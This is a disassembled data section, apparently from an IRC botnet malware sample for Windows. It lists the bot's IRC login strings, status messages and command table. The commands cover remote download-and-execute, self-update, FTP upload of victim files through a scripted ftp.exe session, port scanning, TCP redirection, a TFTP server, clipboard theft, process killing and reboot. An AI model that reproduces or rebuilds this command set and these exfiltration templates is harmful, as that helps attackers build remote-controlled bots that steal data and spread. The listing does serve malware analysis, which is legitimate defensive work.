aSDS		db '%s %d "%s"',0       ; DATA XREF: sub_406422+27Ao
		align 4
aSS_2		db '%s\%s',0            ; DATA XREF: sub_406422+192o
		align 4
aSS_3		db '%s%s',0             ; DATA XREF: sub_406422+10Fo
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_406A2F+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_406A2F+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+3517o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+3502o
		align 4
unk_41C704	db  1Fh			; DATA XREF: sub_406BAB+34E4o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aPasswordAccept	db ' Password accepted.',0
		align 4
unk_41C728	db  1Fh			; DATA XREF: sub_406BAB+348Bo
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedHostAuth	db ' *Failed host auth by: (%s!%s).',0
		align 4
unk_41C758	db  1Fh			; DATA XREF: sub_406BAB+341Eo
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedPassAuth	db ' *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSFailed_	db 'NOTICE %s :FAILED.',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+340Fo
					; sub_406BAB+347Co
		align 10h
aNoticeSFailedS	db 'NOTICE %s :FAILED (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+33FBo
					; sub_406BAB+3468o
		align 10h
asc_41C7C0:				; DATA XREF: sub_406BAB+33CBo
		unicode	0, <~>,0
unk_41C7C4	db  1Fh			; DATA XREF: sub_406BAB+32D1o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aInvalidLoginSl	db ' Invalid login slot number: %d.',0
		align 4
unk_41C7F4	db  1Fh			; DATA XREF: sub_406BAB+32C9o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aNoUserLoggedIn	db ' No user logged in at slot: %d.',0
		align 4
aProc		db 'PROC ',0           ; DATA XREF: sub_406BAB+3264o
		align 4
aProcessList	db 'Process list',0     ; DATA XREF: sub_406BAB+325Fo
		align 4
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_406BAB:loc_409DD2o
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_406BAB:loc_409DBBo
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_406BAB:loc_409DA4o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_406BAB+31E7o
		align 4
unk_41C888	db  1Fh			; DATA XREF: sub_406BAB+319Bo
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aStatusReady_Bo	db ' Status: Ready. Bot Uptime: %s.',0
		align 4
dword_41C8B8	dd 26D021Fh, 6E69611Fh,	2BB0220h, 6F4220BBh, 44492074h
					; DATA XREF: sub_406BAB+315Do
		dd 7325203Ah, 2Eh
dword_41C8D4	dd 274021Fh, 6572681Fh,	20736461h, 0BB02BB02h ;	DATA XREF: sub_406BAB+312Ao
aFailedToStartL	db ' Failed to start list thread, error: <%d>.',0
		align 10h
dword_41C910	dd 274021Fh, 6572681Fh,	20736461h, 0BB02BB02h, 73694C20h
					; DATA XREF: sub_406BAB+30CBo
		dd 68742074h, 64616572h, 2E73h
dword_41C930	dd 627573h		; DATA XREF: sub_406BAB+30A5o
dword_41C934	dd 26D021Fh, 6E69611Fh,	2BB0220h, 655220BBh, 69766F6Dh
					; DATA XREF: sub_406BAB+2FD7o
		dd 4220676Eh, 2E746Fh
unk_41C950	db  1Fh			; DATA XREF: sub_406BAB+2F9Co
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aFailedToStar_1	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_41C98C	dd 270021Fh, 636F721Fh,	2BB0220h, 725020BBh, 6563636Fh
					; DATA XREF: sub_406BAB+2F3Do
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: sub_406BAB+2F1Do
		align 4
unk_41C9B4	db  1Fh			; DATA XREF: sub_406BAB+2ECCo
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aAlreadyRunning	db ' Already running.',0
		align 4
dword_41C9D4	dd 26D021Fh, 6E69611Fh,	2BB0220h, 705520BBh, 656D6974h
					; DATA XREF: sub_406BAB+2E7Bo
		dd 7325203Ah, 2Eh
dword_41C9F0	dd 26D021Fh, 6E69611Fh,	2BB0220h, 654720BBh, 6C432074h
					; DATA XREF: sub_406BAB+2DFAo
		dd 6F627069h, 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_406BAB+2DCCo
		align 4
aFlushdnsFail_1	db '[FLUSHDNS]: Failed to flush ARP cache.',0
					; DATA XREF: sub_406BAB:loc_409959o
		align 4
aFlushdnsArpC_0	db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_406BAB+2DA7o
		align 4
aFlushdnsFail_0	db '[FLUSHDNS]: Failed to load dnsapi.dll.',0
					; DATA XREF: sub_406BAB:loc_409936o
		align 4
aFlushdnsFailed	db '[FLUSHDNS]: Failed to flush DNS cache.',0
					; DATA XREF: sub_406BAB:loc_40992Fo
		align 4
aFlushdnsDnsCac	db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_406BAB+2D7Do
		align 4
unk_41CADC	db  1Fh			; DATA XREF: sub_406BAB+2D0Co
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aFailedToStar_2	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_41CB18	db  1Fh			; DATA XREF: sub_406BAB+2C02o
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aAlreadyRunni_0	db ' Already running.',0
		align 4
dword_41CB38	dd 274021Fh, 6572681Fh,	20736461h, 0BB02BB02h
					; DATA XREF: sub_406BAB:loc_4093FDo
aFailedToKillTh	db ' Failed to kill thread: %s.',0
dword_41CB64	dd 274021Fh, 6572681Fh,	20736461h, 0BB02BB02h ;	DATA XREF: sub_406BAB+284Bo
aKilledThreadS_	db ' Killed thread: %s.',0
dword_41CB88	dd 274021Fh, 6572681Fh,	20736461h, 0BB02BB02h
					; DATA XREF: sub_406BAB:loc_4093AEo
aNoActiveThread	db ' No active threads found.',0
		align 4
dword_41CBB4	dd 274021Fh, 6572681Fh,	20736461h, 0BB02BB02h ;	DATA XREF: sub_406BAB+27F9o
aStoppedDThread	db ' Stopped: %d thread(s).',0
aAll		db 'all',0              ; DATA XREF: sub_406BAB+27DFo
unk_41CBE0	db  1Fh			; DATA XREF: sub_406BAB+27D2o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aPrefixChangedT	db ' Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_41CC08	db  1Fh			; DATA XREF: sub_406BAB:loc_409364o
		db 2, 73h, 2
		db  1Fh
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 20h,	2, 0BBh
		db    2
aCouldnTOpenF_0	db ' Couldn',27h,'t open file: %s',0
		align 10h
dword_41CC30	dd 273021Fh, 6C65681Fh,	0BB02206Ch, 4620BB02h, 20656C69h
					; DATA XREF: sub_406BAB+27AFo
		dd 6E65706Fh, 203A6465h, 7325h
unk_41CC50	db  1Fh			; DATA XREF: sub_406BAB+277Co
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aServerChangedT	db ' Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_41CC78	dd 264021Fh, 20736E1Fh,	0BB02BB02h ; DATA XREF:	sub_406BAB:loc_4092F9o
aCouldnTResol_0	db ' Couldn',27h,'t resolve hostname.',0
dword_41CCA0	dd 264021Fh, 20736E1Fh,	0BB02BB02h ; DATA XREF:	sub_406BAB+2723o
aLookupSS_	db ' Lookup: %s -> %s.',0
		align 10h
unk_41CCC0	db  1Fh			; DATA XREF: sub_406BAB:loc_40928Eo
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 10h
unk_41CCF0	db  1Fh			; DATA XREF: sub_406BAB+26DCo
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aProcessKilledS	db ' Process killed: %s',0
		align 4
unk_41CD14	db  1Fh			; DATA XREF: sub_406BAB:loc_40922Do
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
		align 4
unk_41CD48	db  1Fh			; DATA XREF: sub_406BAB+267Bo
		db 2, 70h, 2
		db  1Fh
		db 72h,	6Fh, 63h
		db  20h
		db 2, 0BBh, 2
aProcessKilledI	db ' Process killed ID: %s',0
dword_41CD6C	dd 266021Fh, 656C691Fh,	2BB0220h, 654420BBh, 6574656Ch
					; DATA XREF: sub_406BAB+260Co
		dd 25272064h, 2E2773h
dword_41CD88	dd 26D021Fh, 6372691Fh,	2BB0220h, 6F4320BBh, 6E616D6Dh
					; DATA XREF: sub_406BAB:loc_409167o
		dd 65732064h, 2E746Eh
unk_41CDA4	db  1Fh			; DATA XREF: sub_406BAB+25B5o
		db 2, 6Dh, 2
		db  1Fh
		db 69h,	72h, 63h
		db  20h
		db 2, 0BBh, 2
aClientNotOpen_	db ' Client not open.',0
		align 4
unk_41CDC4	db  1Fh			; DATA XREF: sub_406BAB+2576o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aReadFileFailed	db ' Read file failed: %s',0
		align 4
unk_41CDE8	db  1Fh			; DATA XREF: sub_406BAB+2563o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aReadFileComple	db ' Read file complete: %s',0
		align 10h
dword_41CE10	dd 26D021Fh, 6E69611Fh,	2BB0220h, 654720BBh, 736F6874h
					; DATA XREF: sub_406BAB+24E0o
		dd 25203A74h, 2E73h
unk_41CE2C	db  1Fh			; DATA XREF: sub_406BAB:loc_409048o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aUnableToExtrac	db ' Unable to extract Gethost command.',0
		align 10h
unk_41CE60	db  1Fh			; DATA XREF: sub_406BAB+2487o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aGethostSComman	db ' Gethost: %s, Command: %s',0
		align 4
unk_41CE88	db  1Fh			; DATA XREF: sub_406BAB+2401o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aAliasAddedS_	db ' Alias added: %s.',0
		align 4
dword_41CEA8	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_406BAB+236Bo
dword_41CEB4	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_406BAB+22EFo
					; sub_406BAB+28C5o
dword_41CEC0	dd 45444F4Dh, 0D732520h, 0Ah ; DATA XREF: sub_406BAB+22C0o
unk_41CECC	db  1Fh			; DATA XREF: sub_406BAB:loc_408E42o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aRepeatNotAllow	db ' Repeat not allowed in command line: %s',0
		align 4
dword_41CF04	dd 26D021Fh, 6E69611Fh,	2BB0220h, 655220BBh, 74616570h
					; DATA XREF: sub_406BAB+225Co
		dd 7325203Ah, 0
dword_41CF20	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_406BAB+218Co
					; sub_406BAB+2236o ...
unk_41CF30	db  1Fh			; DATA XREF: sub_406BAB+2118o
		db 2, 75h, 2
		db  1Fh
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aBotIdMustBeDif	db 'Bot ID must be different than current running process.',0
		align 4
unk_41CF78	db  1Fh			; DATA XREF: sub_406BAB+20F0o
		db 2, 75h, 2
		db  1Fh
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aFailedToStartD	db 'Failed to start download thread, error: <%d>.',0
		align 4
unk_41CFB8	db  1Fh			; DATA XREF: sub_406BAB+2091o
		db 2, 75h, 2
		db  1Fh
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	20h, 2
		db 0BBh	; 
		db 2, 0BBh, 20h
aDownloadingUpd	db 'Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_406BAB+1FECo
		align 4
dword_41CFF4	dd 265021Fh, 6365781Fh,	2BB0220h, 6F4320BBh, 6E616D6Dh
					; DATA XREF: sub_406BAB+1F88o
		dd 203A7364h, 7325h
unk_41D010	db  1Fh			; DATA XREF: sub_406BAB+1F7Do
		db 2, 65h, 2
		db  1Fh
		db 78h,	65h, 63h
		db  20h
		db 2, 0BBh, 2
aCouldnTExecute	db ' Couldn',27h,'t execute file.',0
		align 4
dword_41D038	dd 266021Fh, 656C691Fh,	2BB0220h, 0BBh ; DATA XREF: sub_406BAB:loc_408A4Bo
					; sub_406BAB:loc_4091BEo
unk_41D048	db  1Fh			; DATA XREF: sub_406BAB+1E8Bo
		db 2, 66h, 2
		db  1Fh
		db 69h,	6Ch, 65h
		db  20h
		db 2, 0BBh, 2
aRenameSToS_	db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_41D070	db  1Fh			; DATA XREF: sub_406BAB+1E2Bo
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aFailedToStartT	db ' Failed to start transfer thread, error: <%d>.',0
unk_41D0B0	db  1Fh			; DATA XREF: sub_406BAB+1DD2o
		db 2, 64h, 2
		db  1Fh
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  20h
		db 2, 0BBh, 2
aDownloadingUrl	db ' Downloading URL: %s to: %s.',0
		align 10h
unk_41D0E0	db  1Fh			; DATA XREF: sub_406BAB+1CD8o
		db 2, 72h, 2
		db  1Fh
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  20h
		db 2, 0BBh, 2
aFailedToStartR	db ' Failed to start redirection thread, error: <%d>.',0
		align 4
unk_41D124	db  1Fh			; DATA XREF: sub_406BAB+1C7Fo
		db 2, 72h, 2
		db  1Fh
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  20h
		db 2, 0BBh, 2
aTcpRedirectCre	db ' TCP redirect created from: %s:%d to: %s:%d.',0
		align 4
unk_41D164	db  1Fh			; DATA XREF: sub_406BAB+1B80o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aPortScanStarte	db ' Port scan started: %s:%d with delay: %d(ms).',0
		align 10h
unk_41D1A0	db  1Fh			; DATA XREF: sub_406BAB+1AE1o
					; sub_406BAB+1BD9o ...
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedToStar_3	db ' Failed to start scan thread, error: <%d>.',0
unk_41D1D8	db  1Fh			; DATA XREF: sub_406BAB+1A88o
					; sub_406BAB+2B1Fo
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aSPortScanStart	db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_406BAB+1A5Do
					; sub_406BAB+2AF4o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_406BAB+1A56o
					; sub_406BAB+2AEDo
		align 4
unk_41D254	db  1Fh			; DATA XREF: sub_406BAB+1915o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedToStar_4	db ' Failed to start scan, no IP specified.',0
		align 4
unk_41D28C	db  1Fh			; DATA XREF: sub_406BAB+18B5o
					; sub_406BAB:loc_409789o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedToStar_5	db ' Failed to start scan, port is invalid.',0
		align 4
unk_41D2C4	db  1Fh			; DATA XREF: sub_406BAB+17CBo
					; sub_406BAB+2940o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aAlreadyDScanni	db ' Already %d scanning threads. Too many specified.',0
		align 4
dword_41D304	dd 266021Fh, 2070741Fh,	0BB02BB02h ; DATA XREF:	sub_406BAB:loc_4082F1o
aUploadingFileS	db ' Uploading file: %s to: %s failed.',0
		align 4
dword_41D334	dd 266021Fh, 2070741Fh,	0BB02BB02h ; DATA XREF:	sub_406BAB+173Fo
aUploadingFil_0	db ' Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_406BAB+1726o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_406BAB+170Fo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_406BAB+16EFo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_406BAB+16C1o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_406BAB+16B0o
		align 4
dword_41D3A4	dd 266021Fh, 2070741Fh,	0BB02BB02h ; DATA XREF:	sub_406BAB+1632o
aFileNotFoundS_	db ' File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_406BAB+1608o
		align 10h
aAas		db 'aas',0              ; DATA XREF: sub_406BAB+15E6o
aAss		db 'ass',0              ; DATA XREF: sub_406BAB+15D1o
aPsc		db 'psc',0              ; DATA XREF: sub_406BAB+15AFo
aPortscan	db 'portscan',0         ; DATA XREF: sub_406BAB+159Ao
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_406BAB+1585o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_406BAB+1570o
		align 4
aKktt		db 'kktt',0             ; DATA XREF: sub_406BAB+1546o
					; sub_406BAB+155Bo
		align 10h
aMv		db 'mv',0               ; DATA XREF: sub_406BAB+1531o
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_406BAB+151Co
		align 4
aE:					; DATA XREF: sub_406BAB+1507o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_406BAB+14F2o
aKkttupw	db 'kkttupw',0          ; DATA XREF: sub_406BAB+14C8o
					; sub_406BAB+14DDo
aDelay		db 'delay',0            ; DATA XREF: sub_406BAB+149Eo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_406BAB+1489o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_406BAB+1474o
					; sub_406BAB+2209o
		align 4
aM:					; DATA XREF: sub_406BAB+145Fo
		unicode	0, <m>,0
aMode		db 'mode',0             ; DATA XREF: sub_406BAB+144Ao
		align 10h
aCy		db 'cy',0               ; DATA XREF: sub_406BAB+1435o
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_406BAB+1420o
		align 4
aA_0:					; DATA XREF: sub_406BAB+140Bo
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_406BAB+13F6o
		align 4
aPm		db 'pm',0               ; DATA XREF: sub_406BAB+13E1o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_406BAB+13CCo
aAa		db 'aa',0               ; DATA XREF: sub_406BAB+13B7o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_406BAB+13A2o
		align 4
aGh		db 'gh',0               ; DATA XREF: sub_406BAB+137Bo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_406BAB+1366o
aRf		db 'rf',0               ; DATA XREF: sub_406BAB+1351o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_406BAB+133Co
		align 10h
aMirc_0		db 'mirc',0             ; DATA XREF: sub_406BAB+1327o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_406BAB+1312o
aDel		db 'del',0              ; DATA XREF: sub_406BAB+12FDo
aDelete		db 'delete',0           ; DATA XREF: sub_406BAB+12E8o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_406BAB+12D3o
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_406BAB+12BEo
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_406BAB+12A9o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_406BAB+1294o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_406BAB+127Fo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_406BAB+126Ao
aSew		db 'sew',0              ; DATA XREF: sub_406BAB+1255o
aServerw	db 'serverw',0          ; DATA XREF: sub_406BAB+1240o
aO:					; DATA XREF: sub_406BAB+122Bo
		unicode	0, <o>,0
aPrw		db 'prw',0              ; DATA XREF: sub_406BAB+1201o
aPrefixw	db 'prefixw',0          ; DATA XREF: sub_406BAB+11ECo
aK:					; DATA XREF: sub_406BAB+11D7o
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_406BAB+11C2o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_406BAB+1198o
aPt		db 'pt',0               ; DATA XREF: sub_406BAB+1183o
		align 4
aPart_0		db 'part',0             ; DATA XREF: sub_406BAB+116Eo
		align 4
aJ:					; DATA XREF: sub_406BAB+1159o
		unicode	0, <j>,0
aJoin		db 'join',0             ; DATA XREF: sub_406BAB+1144o
		align 4
aN:					; DATA XREF: sub_406BAB+112Fo
		unicode	0, <n>,0
aNick_0		db 'nick',0             ; DATA XREF: sub_406BAB+111Ao
		align 4
aAlls		db 'alls',0             ; DATA XREF: sub_406BAB+10DEo
					; sub_406BAB+10F3o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_406BAB+10C9o
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_406BAB+10B4o
		align 10h
aCip		db 'cip',0              ; DATA XREF: sub_406BAB+109Fo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_406BAB+108Ao
		align 10h
aFdns		db 'fdns',0             ; DATA XREF: sub_406BAB+1075o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_406BAB+1060o
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_406BAB+104Bo
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_406BAB+1036o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_406BAB+1021o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_406BAB+100Co
unk_41D584	db  1Fh			; DATA XREF: sub_406BAB+1001o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aLoginListCompl	db ' Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_406BAB+FCDo
					; sub_40AB11+46o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_406BAB+FC0o
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_406BAB+F9Eo
		align 4
aWho		db 'who',0              ; DATA XREF: sub_406BAB+F85o
aDrv		db 'drv',0              ; DATA XREF: sub_406BAB+F70o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_406BAB+F5Bo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_406BAB+F46o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_406BAB+F31o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_406BAB+F1Co
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_406BAB+F07o
		align 4
aRrmm010kt	db 'rrmm010kt',0        ; DATA XREF: sub_406BAB+EDDo
					; sub_406BAB+EF2o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_406BAB+EC8o
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_406BAB+EB3o
aNi		db 'ni',0               ; DATA XREF: sub_406BAB+E9Eo
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_406BAB+E89o
aAl		db 'al',0               ; DATA XREF: sub_406BAB+E74o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_406BAB+E5Fo
aT:					; DATA XREF: sub_406BAB+E4Ao
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_406BAB+E35o
unk_41D630	db  1Fh			; DATA XREF: sub_406BAB+E01o
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedToReboot	db ' Failed to reboot system.',0
		align 4
unk_41D658	db  1Fh			; DATA XREF: sub_406BAB+DFAo
		db 2, 6Dh, 2
		db  1Fh
		db 61h,	69h, 6Eh
		db  20h
		db 2, 0BBh, 2
aRebootingSyste	db ' Rebooting system.',0
aReboot		db 'reboot',0           ; DATA XREF: sub_406BAB+DE3o
		align 10h
aIdw		db 'idw',0              ; DATA XREF: sub_406BAB+DB9o
					; sub_406BAB+DCEo
aS_2:					; DATA XREF: sub_406BAB+DA4o
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_406BAB+D8Fo
		align 10h
aQ:					; DATA XREF: sub_406BAB+D7Ao
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_406BAB+D65o
		align 4
aD:					; DATA XREF: sub_406BAB+D50o
		unicode	0, <d>,0
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_406BAB+D3Bo
		align 4
aR:					; DATA XREF: sub_406BAB+D26o
					; sub_406BAB+11ADo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_406BAB+D11o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_406BAB+CFCo
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_406BAB+CE7o
		align 10h
aRooting	db 'Rooting',0          ; DATA XREF: sub_406BAB+CDCo
aProcess	db 'process',0          ; DATA XREF: sub_406BAB+CD7o
aScanstop	db 'scanstop',0         ; DATA XREF: sub_406BAB+CBEo
		align 4
aSecure_0	db 'SECURE ',0         ; DATA XREF: sub_406BAB+CB3o
		align 4
aSecure		db 'Secure',0           ; DATA XREF: sub_406BAB+CAEo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_406BAB+C95o
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_406BAB+C80o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_406BAB+C6Bo
		align 10h
aTftp_0		db 'TFTP ',0           ; DATA XREF: sub_406BAB+C60o
		align 4
aServer		db 'Server',0           ; DATA XREF: sub_406BAB+C5Bo
		align 10h
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_406BAB+C42o
		align 4
aRedirect_0	db 'REDIRECT ',0       ; DATA XREF: sub_406BAB+C37o
		align 4
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_406BAB+C32o
		align 4
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_406BAB+C19o
		align 4
aLog		db 'LOG ',0            ; DATA XREF: sub_406BAB+C0Eo
		align 10h
aLogList	db 'Log list',0         ; DATA XREF: sub_406BAB+C09o
		align 4
aLogstop	db 'logstop',0          ; DATA XREF: sub_406BAB+BF0o
aLo		db 'lo',0               ; DATA XREF: sub_406BAB+BDBo
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_406BAB+BC6o
		align 10h
aDe		db 'de',0               ; DATA XREF: sub_406BAB+BB1o
					; sub_406BAB+14B3o
		align 4
aDie		db 'die',0              ; DATA XREF: sub_406BAB+B9Co
aRn		db 'rn',0               ; DATA XREF: sub_406BAB+B87o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_406BAB+B72o
a63		db '63',0               ; DATA XREF: sub_406BAB+A5Fo
		align 4
asc_41D7A8:				; DATA XREF: sub_406BAB+A40o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_406BAB+A0Co
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_406BAB+A01o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_406BAB+9F0o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_406BAB+9D7o
		align 10h
aUser_2		db '$user',0            ; DATA XREF: sub_406BAB+9C6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_406BAB+9B4o
